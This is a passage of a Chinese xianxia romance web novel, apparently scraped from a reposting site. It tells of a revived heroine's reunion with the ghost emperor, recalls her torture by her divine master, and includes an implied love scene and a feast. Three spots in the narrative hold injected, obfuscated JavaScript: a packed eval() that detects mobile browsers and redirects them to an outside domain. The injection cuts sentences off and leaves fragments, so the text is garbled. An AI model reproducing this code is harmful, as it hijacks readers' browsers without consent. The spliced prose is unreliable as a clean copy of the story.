柳宜均嘲笑他:“陶师兄了不得,指责起别人来了。陆师兄该死,你就不该死?陆师兄那世,好歹师姐平安一生,你看看你自己,做事没脑子,死纨绔一个,为了救你,师姐坠井而亡,你不羞愧么?我要是你,不如自杀。” “柳宜均,你欺软怕硬。你怎么不说吴师兄,你怎么不说许师兄!” “我怎么不说,你们仨就是天界三渣,这天界我是待不下去了,我自罚人间历练,省得看见你们就来气。” 柳宜均在情劫中所作所为并无不妥,他和王心若的纠缠皆缘自命运,在他们面前自是颇有底气。 傅钰完全不敢说话,结果不小心和正在气头的柳宜均对上视线,柳宜均冷笑一声,“傅师兄无论在天上还是人间,都如此沉默寡言,视旁人如无物,活活把人逼得郁郁而终。若非亲眼所见,我是绝不敢信师兄能做出这样的事。” 傅钰并不反驳,低下头,“师弟说的是,我有错……我去思过崖自跪五十年。” 吴秋行敛眸道:“我亦然。” 裴嘉叹息,“我也去。” 慕容修见他们终于不吵闹,道:“你们都这样,各门派谁来管,天界谁来管?我劝诸师弟冷静为上,若觉自己有罪,该多向师姐弥补,而不是在此互相指责。” “又来了!慕容师兄情劫中也是这般吧,事事大局为重,当大师兄不够,要当掌门,当掌门不够,还要当武林盟主,真是勤勤恳恳、兢兢业业,师兄眼里什么都有,就是看不见师姐,真让我佩服!” …… 这边陷入了不知何时才停止的口水战,那边赵玄檀劫后余生,将王心若送回长风崖,林果果随后赶到。 王心若抚着膝盖问她:“我这骨头怎么感觉这么容易散?” 林果果答道:“仙长,掌门和我说,你的□□和灵魄都刚成形不久,还没很好的融合。这段时间,你的四肢骨骼可能会比较容易脱臼错位,你的识海可能比较混乱。” “识海混乱……会怎样?” “呃……不好说,可能会记忆错乱,可能会性格大变,也可能什么事都没有。” “我现在挺正常吧?” 林果果点头,“挺正常。” “怎么不见流光?” 赵玄檀端来一盏茶递给她,“任师弟去鬼域照顾郑师兄了。” “含元?他怎么了?” 说起这个,林果果来了劲,她握住王心若的手,语气沉重道:“仙长,你可知道,你不在的这五百年,陛下过得有多苦!他从地界到天界找遍古籍,就为找出复活你的方法。五百年,他都没笑过,说话不超过二十句,鬼域都没以前有活力了。虽说陛下天天逼我炼镜子很累,但那都是为了仙长你……原本陛下也能第一眼看见复活的你,可他太累了,实在撑不住,任前辈就随他回了鬼域。” “已经五百年了?”王心若问道。 对她而言,只如一梦。 也是,林果果都有投胎转世有身躯了,不再是那个只有一颗人头的姑娘。 王心若沉思一会,“我想去鬼域,你可知如今鬼域界门何在?” 界门变化无常,上次是郑含元留了字条,所以在惊鸿派,不知五百年过去,又开在哪里。 “我现在不是鬼了,感受不到界门所在,不过我可以找白骨郎君问问。”林果果从袖中拿出一片小纸人,念了个咒语,那纸人便发起微光。 不一会,纸人身上传来声音,“果儿,什么事?” “我想去鬼域,离天界最近的界门在哪里?” “魏国点翠山顶。果儿,你是想我了么?” 林果果瞬间脸红,“你乱说什么话,我身边有人呢!”她赶忙切了联络。 “看来五百年间发生了很多我不知道的事。”王心若挑眉打趣道。 她想起林果 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林果果从腰间布袋中拿出许多糕点,洒在地上,纸人们飞扑上去,轰的一声,白骨倚墙出现,手中折着一支火莲,递给林果果,“美丽的果儿,这是我在忘川新采的莲花,送给你。” “……年轻人真会玩。”王心若幽幽感叹一声。 看着两人的互动,她忽然觉得自己老了。 白骨郎君这才发现有第三个人,哎呀了一声,“抱歉抱歉,果儿,原来还有客人,这位姑娘是……” 王心若如今是历劫时的模样,白骨郎君并未见过。 “她就是咱们的鬼后啊,不过复活后不知为何没变回原来的样子。” 白骨郎君惊道:“原来是鬼后娘娘,娘娘前来,一定是来找陛下的,鄙人这便为您召唤黑龙,让它载着我们去鬼帝大殿。” 白骨郎君吹起刺耳的口哨,没过多久,巨大的黑龙果然飞来。 “老白,找我何事?” “娘娘回来了,带她去大殿。” “什么?你不是诓我吧!这长得也不像啊。” “诓你有钱?修士,仙人,你懂么?高兴了一天换张脸。” 罗嗦几句,黑龙载着三人飞去。 王心若忽然对林果果道:“我有些紧张。” “仙长,你还会紧张?” “我会不会吓到他?” “不会,见你复活,陛下肯定高兴地疯掉。” “……我紧张。” 林果果紧握住她的手,发现她果然出了一手的汗,“仙长,深呼吸,没什么。” 黑龙飞至鬼帝大殿,不过一炷香时间。 因黑龙和白骨在,王心若和林果果畅通无阻进了殿内。 殿内却不见郑含元身影。 “陛下应在密室里休息。”白骨引着她,单独进了密室。 密室那方小池十分熟悉。 室中无人,只有一朵燃着火光,半人高的火莲悬在水中央,它的热度让池中之水不停沸腾。 白骨悄悄退出密室,还把门捎上。 王心若围着小池走了一圈,细细打量那燃得正炽的火莲。 郑含元的真身,她还从未见过。 她一直以为莲花是温柔婉约的植物,没想到这世上还有长得这么霸道的莲花。 她心跳得很快,在池边坐下,盯着那朵火莲,轻声道:“大莲花你好,我是小莲花,我回来了。” 说完这句,她自己都忍不住笑了。 好幼稚。 她怎么会说出这么幼稚的话。 话音刚落,只见那火莲的火焰忽然变盛,火焰凝成人形。 人形落水,渐渐化为真人,有血有肉有呼吸有心跳的真人。 那人长发披散,发上睫上凝着水珠,朝她游来。 然后,握住她的腕,一把将她拉进池中。 41. 人约黄昏后(2) 41.人约黄昏后(2) 王心若原本紧张又期待地坐在池边看他化形,却没想到自己忽然被握住手腕拉进池里。 她跌进水中,溅起的水花打湿面庞与鬓发,氤氲的热气朦胧了眉宇眼睫。 那原本沸腾的水已随着他的化形平息下来,余温依旧灼热。 比水温更灼热的是握住她的那只手。 手的主人将她抵在池中角落。 有水流进眼中,王心若难睁开眼,只觉得身前传来体温与呼吸的炙热,她下意识想推开他,未受限的右手抵上去,却触到肌肤的细腻。 以及…… 嗯…… 结实的胸膛。 她像被烫到一样收回手,而那只手却也被身前的人紧握住,又放了回去,任她使劲抽也抽不出。 “流氓……”她小声说道。 那人没说话,又向前走一步,靠她更近。 王心若没再挣扎,她感到他温热的体温,以及肌肤下心脏有力且迅速的跳动。 一声声,永不停歇,透过肌肤,传入她掌,再入她心。 溅进眼中的水差不多没了,王心若视线虽有些模糊,但已基本可以看见眼前人。 她感觉他的身形虽依旧高大,脸却瘦削了,少了些少年气,多了稳重成熟。 眼神比以前沉郁许多。 这样的变化其实是她不太情愿看见的。 “含元……”她刚想开口叫他,却被他紧紧搂住,侧脸和耳朵紧贴他的胸膛,听着他的心跳。 郑含元十分依恋地用下巴蹭了蹭她的鬓发,在她耳边轻声道:“又是夜里吧,每到夜里,你都会来。” 王心若没听明白他的话,但听出他嗓音微哑。她不打扰他,让他继续说下去。 他道:“你是最吝啬的,白天如何想你,你从不出现。一旦到了夜,才肯与我见上一见。见了,不是冷颜厉色,拔剑要战,便是沉默不语,把我封印。可即便如此,我还是想见你。” 三界除人间外,对日夜更替并不敏感,唯需要静养者须遵朝暮时序,白日行动,夜晚休眠。 王心若这才听明白他的话,原来他以为这是在梦中。 她轻靠在他肩上,放柔声音,安抚他道:“你放心,今日我不拔剑,也不封印你,我只是来看看你。” “你今日这么好?”郑含元轻抚上她的脸颊,沉郁的目光并无波澜。 “我以后都会像今日这么好。” “真的?不是又骗我?” “不是。” 郑含元低叹一声,“其实你对我不好,也没什么,越是这样的时刻,你越安全。你一旦好起来,往往之后便要和我诀别。在惊鸿派时也是,在瑶池时也是,给我送衣,投怀送抱,说喜欢我,然后一个人走得干干净净,让我像个傻子。我宁愿你从来没做过这些,我宁愿你让我觉得你是讨厌我的,不给我任何希望,这样你走时,也许我还能干脆利落说声再见。” 他的语气很平淡,没有什么起伏,可每个字落入王心若耳中,都让她心头一痛。 王心若原想解释什么,可到嘴边,只化成“对不起”三个字。 “你又有什么对不起我的,我只恨自己不够强大。” “你已经很好了。” 郑含元笑容微苦,“又骗我,我若很好,怎么五百万年前,还要你付出那样的代价为我求一条生路。” 提起代价,王心若身躯微僵,“什么?” “你背后那些永远无法愈合的旧伤……若我不提,你是不是打算永远隐瞒下去。” 若非白骨和吴秋行,他还以为神当年之所以不杀他,仅是因为仪光顾念师徒情分。 他知道其中必有师姐弟求情的缘故,却不知道这情有多大,求有多难。 以至于只是听着吴秋行叙述,便痛苦地想要死去。 吴秋行和他说,师姐为他找仪光求情时,仪光十分震怒,因他认为,她是在为外人忤逆他。 而师姐自然认为郑含元并非外人,是同门师弟,更是仪光除她外收的第一个弟子。 仪光却说,师姐身上流着他的骨血,是他精心栽培,让她化成人形,说师姐原就是属于他的,为外人寒他的心是大逆不道。 师姐不认可仪光的说辞,她虽十分感激他,却不认为她附属于谁。 仪光愈发震怒,说:“你若真如你所说这般有骨气,便将神骨还来,与我断了这份恩怨。” 仪光在气头上,也许只是说说而已,可师姐却十分认真,当场拔剑,剜骨还师。 血溅天罚台,满座皆惊。 师姐那时修为并不像后来那般高,取骨之事自然极其伤身,剜骨之后便昏厥过去,有魂飞魄散的迹象。 仪光没想到她真会如此,眼见爱徒倒地,抱着她便急切赶往九重天神殿。 吴秋行说,以上这段,是诸仙君目前所知的真相。 他们都以为,仪光不再追究郑含元,是因为师姐剜骨求情,让仪光软下态度,最后睁一只眼闭一只眼。 可吴秋行知道,后面在神殿中发生的一切,才是仪光放过郑含元的真正原因。 他是无意间知晓的。 仪光带师姐去神殿后,传讯于他,让他携飞月刀前往。 飞月刀是擎光师叔的法宝,小小一柄,形似弯月,银光熠熠。 被飞月刀伤过的神仙修士,无论何等境界,那伤口将永远无法痊愈。 吴秋行并不知仪光要飞月刀做什么,但他仍听命送之,送完后,便立于殿外等候。 他有些担忧师姐,所以放了神识去听殿内的动静。 那也许是他入天界以来最错误的决定。 他听见仪光的声音似毒蛇阴冷,说:“想救他,总得付出些代价,就看你是否愿意。” 他听见师姐刚醒来,气息奄奄道:“你说,凡我能做,皆做。” 随后,便是突兀的一声惨叫。 和血流淌的声音。 “这神骨,我怎会允你剜去?你既不愿它完整待在你体内,便让它彻底与你的骨血融合罢。” 吴秋行只觉得那语气令人心惊,觉得昔日慈爱的师尊今日十分诡异可怖,却无法想象背后的含义。 直到后来,他身为衍宗掌门,饱览群书,才知晓有一种刑罚,叫作塑骨。 碎骨重塑,妖邪用来折磨修士的法子,黑话称之为“浴火重生”。 自然不是简单的打碎重塑,总会加些奇怪的东西,一般来说,他们喜欢加些自己能操纵的东西。 一个修士,浑身骨头中混杂着那些东西,想寻也寻不得,想取也取不得;想不被控制,除非玉石俱焚;若不愿自我毁灭,就要一生受那些东西在体内折磨自己。 何况神骨这样霸道的东西。 受此刑罚,让另一人的气息霸道残忍地充斥全身,和沦为他人奴隶又有何异。日日夜夜,朝朝暮暮,受之无时无刻不在、源于骨血、无法逃避的惩罚。 从此屈辱痛苦,皆是神赐,雷霆雨露,莫非天恩。 永远提醒着自己为人附庸。 至于塑骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137523|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后还有什么,吴秋行也不愿说出口。 若说塑骨是肉身上的折磨,那强行攻入的灵魄交缠就是更难忍受的屈辱。 所以,自杀扶光后,仪光再对她做这样的事时,她才会选择自爆识海…… …… 所以,带上禁镯的决定,既是为了作出冷静客观的决定,也是为了自己在胜利前不被时时刻刻存在的痛苦打倒。 所以,一腔孤勇、孤军奋战的反抗,除为保护他人,还带着浓重的自厌自毁倾向。 原来她淡漠,是因早存死志。 那样的结局,她已经料到。 …… 郑含元几乎是恳求着说对她道:“若若,哪怕你想牺牲自己,我也不反对,我尊重你的每一个决定。我难过的是,你从来没给我机会让我陪你一起面对。对我而言,你我双双战死,比让我一人苟活于世要幸福百倍千倍。” 王心若原本因他的话陷入回忆中,面色苍白,此刻闻言才微微好转,她眉眼微动,想说什么,却又沉默。 郑含元循循善诱道:“假使你我易地而处,我什么也不告诉你便去弑神,就这样灰飞烟灭了,你会如何?” 这样的假设光是想想,王心若都觉得难以接受,“我会恨你,恨你……自私,恨你把我当傻子,恨你不给我陪你走下去的机会。” 说着说着,她终于有些明白了。 从前她以为,只要他好好活着,她便可以无所顾忌地勇往直前。 可原来这样,也是自私的。 她虽让自己无所畏惧,却从没想过另一人的感受。 她剥夺了另一个人做决定的机会。 见她似有所悟,郑含元轻轻抚了抚她的鬓发,道:“世上最好的感情,不是我将你当稚儿,然后将一无所知的你护在羽翼之下,而是风雨同舟,互相扶持,同生共死。你可知晓?” “我……知晓了。” “那你可愿意不再独自一人孤军奋战,而是和我风雨同舟、同生共死?” 王心若点头,“我愿意,但是我还是希望你能好好活着。” “我这些年从未停止修炼,为的就是有朝一日手刃仇敌,你要信我。” “我信你。” 郑含元忽然长叹,而后自嘲一笑。 “你若真能将这些话听进去该有多好?” “我听进去了,我真听进去了。” 王心若却见郑含元的神色愈发寂寥。 “听进去又如何,终究是要走的,不过片刻欢愉。” 王心若才反应过来,搞了半天,这傻子还以为在做梦。 她道:“我不会走的,你现在没在做梦。” 郑含元摇头,“你许多夜晚也是这样说的。” 王心若赶忙道:“可你现在真没在做梦,我真回来了,你们把我复活了。” 郑含元依旧用温柔却又落寞的眼神望着她 王心若只好咬他肩膀一口,“疼不疼,这下你该信了吧?” 他道:“梦里也会疼。” “那你要怎样才相信这不是梦呢?” 郑含元思忖片刻,道:“你再说一遍你愿意和我同生共死。” 王心若点头,郑重道:“我愿意和你风雨同舟、共同扶持、同生共死,再也不孤军奋战,再也不瞒着你做事。” 她说完,仰起脸问他:“现在你信了么?” 他却说:“还不够。” “好吧,那你还有什么要求呀?” 郑含元又想了一会,说:“你亲我一下。” 42. 人约黄昏后(3) 42.人约黄昏后(3) “这是什么要求?”王心若狐疑地望着他,“为何亲你,你便相信这不是梦?” “因为梦中的你绝不会对我百依百顺。” “难道现实的我就会对你百依百顺?” “你方才自己说,以后都会像今日这般好,总要拿出行动让我相信。” 王心若叹口气道:“好吧。” 她想,郑含元毕竟为她复活之事奔波五百年,身心俱损,夜夜梦她,醒来却发现是假,这应是让他原本脆弱的心灵更加多疑。她一下子出现,他肯定难以相信,怕又是镜花水月、空梦一场。 思及此,心里有些微甜,更多的却是心疼和怜惜,莫说一吻,就是再奇怪的要求,她也能纵容了。于是,她踮起脚轻轻亲了一下他的脸颊,“这样可以么?” 郑含元低着头轻咳一声,然后抬头望她,见她眨着眼睛微微歪着头语气认真地问自己,一时耳根有些发烫。 他抑着嘴角的上翘,沉声道:“不够。” “可你说了,只要‘一下’呀,怎么能出尔反尔。” “是这里的一下。”郑含元指指唇。 王心若唔了声,盯着他的眼睛看了一会,想从中找到些漏洞,却发现对方的确满脸无辜。 她长呼一口气,平复下心情,亲了上去。 蜻蜓点水,浅尝辄止。 刚要离开,却被他用手托住头,不放她后退,愈发加深这一吻。 原是朝露落荷叶,又成春雨沥新樱。 再后来,樱桃愈红,便想将之摘下,品一颗清甜果肉。 浓情难禁,流水难收,点点滴滴润心头。 如春水温柔细腻,如烈火炽热缠绵。 王心若被他的温柔热情弄得有些无所适从,只好略有些笨拙地迎合,二人鼻尖相碰,热气相缠,温热的池中更升腾起朦胧水气,晕在眼前面上,欲给春梦披上一层轻纱。 王心若的手原还放在他胸前,那渐渐升高的温度和愈来愈重的心跳似也传到她身上,除此外,其他地方都十分安静。 郑含元缓缓睁眼,想看一看她,却发现她也睁着眼,便有些恋恋不舍地离开她的唇,问道:“你为何不闭上眼睛?” 王心若唇瓣嫣红,眼神却忽然很清明,反问他道:“我为何要闭眼?” “……”郑含元竟不知该作何解释,“睁着眼,你不害羞么?” 王心若纤指轻轻碰了碰自己的唇,又点上他的唇,抬眸问道:“我为何要害羞?” 郑含元垂眸看她的指尖,忽然觉得二人之间的气氛不知不觉转变了。 师姐她怎么不按套路出牌? 说好的百依百顺、天真浪漫呢?禁镯都碎了,说好的温柔小仙女呢? 他感觉有一点不妙。 事实上,因刚才那一吻,王心若原本识海中紊乱的一处忽然清晰。虽只是个片段,却足以让人脸红心跳。 奇怪的记忆增加了! 她说为何吻着吻着总觉得如此奇怪,原是因为在记忆中,这吻不该让郑含元如此主动,她才是那个掌握主动的人。 见她有些走神,郑含元喊道:“若若?师姐?” 王心若回神,手指轻轻描他的唇形,然后触碰他的鼻梁,抚上他的眉梢,而后,在他震惊的眼神中,凑上前去,吻住他的喉结,慢慢倚在他肩上,朝他耳畔低声道:“我不闭眼,是因为……看你忘情的样子,很有意思。” 她一边说着,手一边抚上他的肩,目光有些挑衅地望着他。 还没等郑含元反应过来,她便摁着他的肩,将他推进池中,溅起的水花打湿她的白衣。她浑不在意,翻身而上,潜入水中,在水中吻住他。 郑含元接二连三被她震惊——好好一个貌美温软的少女,生一张青春无害的容貌,满脸正气,双目清明,结果却说出他该说的话,做出他该做的事。 再回顾从前,他发现王心若无论在天界还是在人间,都是长得柔弱,内里却刚。而且,她似乎很喜欢把他摁在墙上…… 再这样下去,夫纲不振,他堂堂鬼帝的脸往哪儿搁! 被激起了该死的胜负欲,郑含元搂住她的腰,将她压在身下,两人又很快主客颠倒。 王心若不像之前那样法力高强,此刻在力气上哪里是他的对手,推又推不开,转身又转不了。 郑含元怕她呼吸不畅,便把她抱起来倚在池边,两人只有肩以上露出水面。 他轻轻扯了一下她腰间挂着的玉佩,拨开她滴水的鬓发,凑到她耳边轻声道:“若若,以后莫只会嘴上逞强,有些事不是说说就能强的。” 王心若盯着他,说“我能”,然后搂上他的脖子紧紧贴上去,给他一个热烈的吻。 她说她能,那他更能。好好一场春梦,弄得和斗法一样激烈,谁也不肯让对方小瞧自己。 只是到了真正动情时刻,气氛才温柔起来。 他让她喊他的名字,她颤着嗓音轻喊一声含元或是如官。 看着她紧闭的双眸和泛着霞色的双颊,他凑到她耳畔问:“此时为何闭眼,又为何害羞?到底谁强?” 她脸上羞红更甚,哑着嗓子委屈道:“你强,你快闭眼,别看我了。” 他又低声道:“偏不闭,看你忘情的样子,我也觉得很有意思。” 她不再说话,把头埋进他怀里,紧紧环着他的腰,不让他再看。 重重水幕落,薄雾轻纱心如钩。 静夜中,群星羞,明珠悬,寂月幽。 把玉瓷轻拭,朱樱微咬,清露滴银瓯。 白雪落红梅,清霜溶溶细蕊收。 梦中拈花拂柳,娇儿低声数更漏。 今夜雨急风骤,滚滚江潮肆行舟。 秋目盈,不是泪,翠眉蹙,不为愁。 小莲初绽,怎经得, 无限春光,几段风流。 将这如梦景致看遍, 将这温柔岁月轻偷, 一段衷情不能休。 …… 密室外,林果果坐在厅里疑惑道:“怎么仙长还没出来呀。” 白骨安抚她道:“久旱逢甘霖,小别胜新婚,更何况五百年。别等了,咱们去干自己的事。” 他二人方要出门,遇见刚回来的任流光,任流光就要往密室里进,被白骨拦住,“老任老任,有人来看陛下了,你先别进去。” 任流光最近一直在鬼域,他天性豁达,和白骨郎君臭味相投,已然称兄道弟。 “谁来看他了?” “陛下的那个她呀。” “那个她……你是说师姐?师姐复活了?那方法真成了?” 林果果点头回应。 任流光激动万分,想进又不能进,十分着急。 “鄙人估计,短时间是出不来了,咱们去酒馆喝上一日,明天在回来看看。”白骨左搂着林果果,右搂着任流光就往外走去,恰好遇见黑龙驮着郑小明在天上耍来耍去,便带着他们一起吃酒去。 * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137524|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那二人醒来时,亦不知过了多久,已经不在密室里,而在郑含元的卧室中。 郑含元心里虽已知道昨夜非梦,却比梦还更像梦。 他看着怀里的王心若,觉得这五百年的痛苦都值得了。 若是她真得回不来,他一人在这世上该怎么办,或生或死,或如行尸走肉……不敢细想。 就这样望她良久,她羽睫微动,幽幽转醒。 “若若,可有不适?”他轻声问。 王心若发现自己依旧躺在他怀里,刚开口,嗓音有些哑,浑身都在疼。 她道:“我好像散架了。” “是我莽撞,下次一定温柔些。”郑含元赶忙替她捏背揉肩,小心呵护。 她清清嗓子,有些不好意思地说:“我刚刚不是在比喻,我好像真得散架了,动不了了。” 这躯体刚炼成,融合未完全,按理来说是撑不住有些太剧烈的动作。 然而昨夜两人都争强好胜过头了些。 后悔,现在就是十分后悔。 郑含元只好赶忙运灵帮她一点点恢复起来。 幸好不是大事,费些时间便修补好。 王心若叹息,“难道我以后真的只是个凡人么?我如何才能恢复灵力,和……和那人一战呢。” 郑含元道:“双.修吧。” 她凉凉瞥他一眼,“你乱讲什么。” 他知道现在不好逗她,正色道:“何须事必躬亲,天界那些仙君又非摆设,之前一战,也大概摸清仪光实力,虽他一人在诸人之上,但勤学苦练数载,想来还是能有一战之力。” 王心若言语有些低落,“一战之力……哎,我总觉得,最好的结局,便是玉石俱焚。” 杀扶光时,她尚有些自信,可面对昔日师尊,她心里却没底。 他何时来,何时去,这些都非她能掌握,而这样级别的神,也无法让秋行轻易推算相关天数。 好在,仪光知道他们如今掌握弑神的方法,也不会轻易与他们交手。 也算勉强有个制约。 “未必就要牺牲谁,那些师弟最听你话,你该让他们这些时日加紧修行。” “话虽如此,可我觉得奇怪,自醒来后,我见他们,总是想躲,看一眼便觉心里堵得慌。除了小十一和玄檀,其余师弟,我一个也不想见。” 郑含元面色微妙,哦了声,问道:“你原先可最是疼他们,如今也不疼了?” 王心若摇摇头,“我自是极感谢他们的,可下意识里却不想接近。” 郑含元道:“这好办,我帮你调.教他们。” “你?”王心若疑道。 他随手画了个金符,又在一旁写了几行字,轻轻一弹,字拓印到金符上面,迅速飞了出去。 “我给他们所有人下了战书,约他们轮流来战。他们安逸太久,也的确该督促他们好好修行,尽一尽我师兄的义务。” 王心若若有所思点点头。 见她同意,他的笑容愈发明朗。 早想打人了。 之前有她护着不好打,如今有了名头,自然要好好泄愤。 正当他得意之际,王心若忽然蹭蹭他的脖子,乖巧地问道:“含元,你何时知道不是在做梦呀?” 他随口回道:“你咬我那一口,我感觉到疼了。” “哦……”王心若笑得愈发温柔,眼神也愈发凉起来。 “含元,你可真聪明,我真喜欢你。” 咬牙切齿说喜欢你。 43. 生岁不满百(1) 43.生岁不满百(1) 可见世上“得意忘形”四字最可怕。 郑含元被王心若温柔的低语和轻抚迷惑,完全没注意她手上的小动作。 他只觉得听见这些话,心都软了,赶忙表态:“我也喜欢你,若若,我以后会一直对你好的。” 她冲他柔柔一笑,轻抚上他的脸,“那就是说,你会对我百依百顺,是吗?” 郑含元虽觉得她温柔得过头,但还是抵挡不住这笑容攻势,郑重点点头。 得到他的答案后,王心若瞬间敛尽笑容,“好啊,郑师弟,你如今也会骗人了,可真了不得。” “我怎么骗……”人还没说出口,郑含元才反应过来,自己已被套话,他赶忙道:“我……只是觉得你那时候很温柔,而且你又重新出现,我很激动,所以……” “所以什么?” “所以……就想……逗你玩玩,再说,你也没反对。” “我反不反对和你骗没骗人是两码事,我不反对是我好,你骗人是你坏。” “我……” 王心若将他猛地推倒在床上,边走边整理衣裙,头也不回往前走。 郑含元急了,猛地起身,结果手上陡然一紧,又被带回跌坐在床边,这才发现自己的左手已被王心若用云纹发带捆在床沿横栏上。 他刚想解开它,王心若回头道:“郑师弟,不准解开那发带,也不准离开床。你若违反,就是没有对我百依百顺,就是不会一直对我好,就不是真的喜欢我,我会更加生气。” “那我总不能一直待这吧?” “怎么不能,给我老实待着,什么时候我气消,原谅了你,我就回来帮你解开。” 郑含元看着绑着自己手的发带,后悔万分。 王心若看他一脸失落,叹口气又走了回来。 “你不绑我了?”郑含元抬头,满眼希冀问道。 王心若俯身,对他笑笑,凑到他耳边,低声道:“含元,乖,听师姐的话,不要乱跑。”说罢,她亲了一下他的耳垂,看他耳下微红,满眼得意地快步离开。 只留被她弄的十分敏感的郑含元在后面凄凄惨惨喊道:“若若,若若!王心若,给我回来!” * 王心若刚出殿外想呼吸一下新鲜空气,便和五道灼热的视线对上。 一眼望去,原来是白骨一行人。 任流光也在其中。 他一看见王心若便呆住了,半天也不敢相认。 还是王心若先喊了声“流光”,他才疾步上前,从头到脚仔细打量她一番,“你……师姐……真的是你么?” “不是我,还能是谁?” 任流光激动地眼里都闪出泪光,王心若赶忙拍拍他的肩道:“好了好了,你也老大不小的,大可不必如此。” 任流光赶忙擦干泪,破泣为笑道:“我就是太高兴了……没见师姐前,有千言万语想说,见了却一句话也说不出。” “来日方长,你慢慢说。” “只是师姐这模样,我……我倒是觉得有些不适应。” “有甚么不适应?”王心若笑道:“叫你掌门,你就适应了?” 任流光赶忙摇头,“不不不,流光担不起。日后即便找齐了他们的魂魄,也不打算重建门派,流光一日为师姐剑灵,终身为师姐剑灵,再不生它意。” “倒不必这么说。” 白骨郎君在一旁看二人寒暄差不多,道:“大家别站在门口,我们这不从酒楼带回许多酒菜么,大家进去一起吃。” 旁边黑龙背上驮着美酒佳肴,以及啃手指的郑小明。 白骨把郑小明抱下来,林果果和任流光则把那些酒菜食盒提着,黑龙从龙幻化为人形。 王心若看着黑龙道:“你和范无救果然是好兄弟,连人形都长这么像。” 完全是身覆鳞片、头长龙角的黑无常,甚至比黑无常还黑,走在丰都城里都不需要刻意隐形。 黑龙憨憨一笑,“那时认识的弟兄太少,就照着他化了形。” 不得不说,有点亏。 大家进殿,将酒菜摆好放置在桌上。 王心若忽然想到个极严重的问题,她问白骨郎君,“你……也能吃这些么?” 这一副骨架怎么吃东西,边吃边漏。 话音刚落,白骨一笑,“这好办!” 只见白光一闪,一位眼带桃花、唇红齿白的翩翩佳公子便出现在人前,着一袭锦绣白袍,持一把竹骨折扇向诸人拜道:“诸位大人,小生这厢有礼了。” 王心若啧道:“长得如此俊秀,平时怎么不以此身见人。” 白骨忧愁一叹,“哎,长得俊秀也有俊秀的难处,之前鄙人的确也以此面貌见人,走在这丰都大街上,总有姑娘往鄙人身上倒去。长此以往,深感疲惫,况且后来也明白,这皮囊是最浅薄之物,鄙人更希望他人爱的是我的内涵,而非这表象。” 林果果撇撇嘴,嫌弃道:“说得我鸡皮疙瘩都起来了。” 大家调笑一番,围坐在桌前,只剩主座无人。 “娘娘,陛下怎么还没出来呀。”郑小明腿短,坐在椅子上,双脚一荡一荡,托腮问她。 “哦,他太累了,让他歇会罢。” 郑小明啊了一声,嘟囔道:“陛下不太行啊。” 白骨说:“你少说点吧,陛下修为高,听得见。” 趁他们聊天,任流光一一布菜斟酒。 全是人间美味。 “原本应用鬼域特产招待娘娘,但娘娘此时为凡人躯体,恐怕不太能服用那些食物,所以鄙人做主,从酒楼里拿了些人间美食,来请娘娘享用。” 王心若向他道谢,“我曾看过一个话本,上面写鬼域白骨郎君貌美如仙,惹得许多鬼女倾心,看来此事不假,白郎不仅容颜俊俏,做事也得体。” 白骨欣然接受夸奖。 看着满当当的酒菜,王心若说:“这酒很香。秋露白以晚露酿制,清醇香洌,回味无穷;而荷花蕊以荷上朝露酿制,甜美隽永,巧味怡情;枫叶红与它们都不一样,触之微辣,烈酒入喉,十分畅快,却也后劲十足,一睡无梦。” “仙长,你很了解酒。”林果果正拆着叫花鸡,听她说酒,略带敬佩回道。 “尚可,跟你们陛下学的。” 忽然,从殿内传来一声低低的“若若,放我出去”。 任流光与他二人待的时间长,听这声音,也颇习惯,只顾闷头吃,不说别的话。 郑小明倒好奇,“娘娘,你把陛下关在里面啦?” “小孩子多吃些肉。”王心若给他夹鸡腿。 郑小明说:“我不是小孩子,我都四百万岁了。” “什么?你四百万岁了?”白骨和林果果齐声惊道。 郑小明一脸骄傲,“是吧,你俩都可以叫我太太太太太太爷爷了。” 白骨:“……” 林果果:“拒绝。” “你四百万岁了,很厉害。是你的陛下带你回来的么?”王心若和他搭话。 “是啊,我依稀记得我家好像被灭门了……太早了,记不清楚。反正自从陛下带我来鬼域,我就一直把陛下当我亲爹,嘿嘿。”郑小明啃一口鸡腿啃得满嘴油。 王心若从他清秀眉眼中窥得几分柳宜均和柳夫人的模样。 “那你想找到你父母么?”她问。 郑小明摇摇头,“四百多万年了,他们要找我早找了,缘分也就那一世,没什么放不下的。陛下养我这么些年,养恩自然比生恩大。” “心态挺好。” 郑小明抬头道:“对了,娘娘,其实我还挺想有个娘的,既然我把陛下当爹看,我能不能管你叫娘亲啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这是你第一次骗我喝酒时的那种酒。” 郑含元一愣,他倒不记得这事。 “很辣,很难喝,每次喝都头疼,但后来就会喝了。” “后来是什么时候?” 王心若轻笑,“你离开天界后。” “若若,那都过去了。” 她摇头,“你不觉得,我们现在和乐融融,其实是在麻痹自己么。就像……就像离别前的狂欢,很美,可也很飘渺。头上悬着剑,说不定哪一天,便撕破这片虚幻的美好。” 就像已经将天捅出一道窟窿,既无力弥补,又无法将天彻底打破。 “无论结果如何,我们都一起努力。” “好。” * 王心若两天后随林果果回了天界。 鬼域总归阴气重,不够天界养人。 她虽为凡体,却不是一般凡体,而是师弟们用法器用阵法复原出来的,不需至云腾境也可入天。 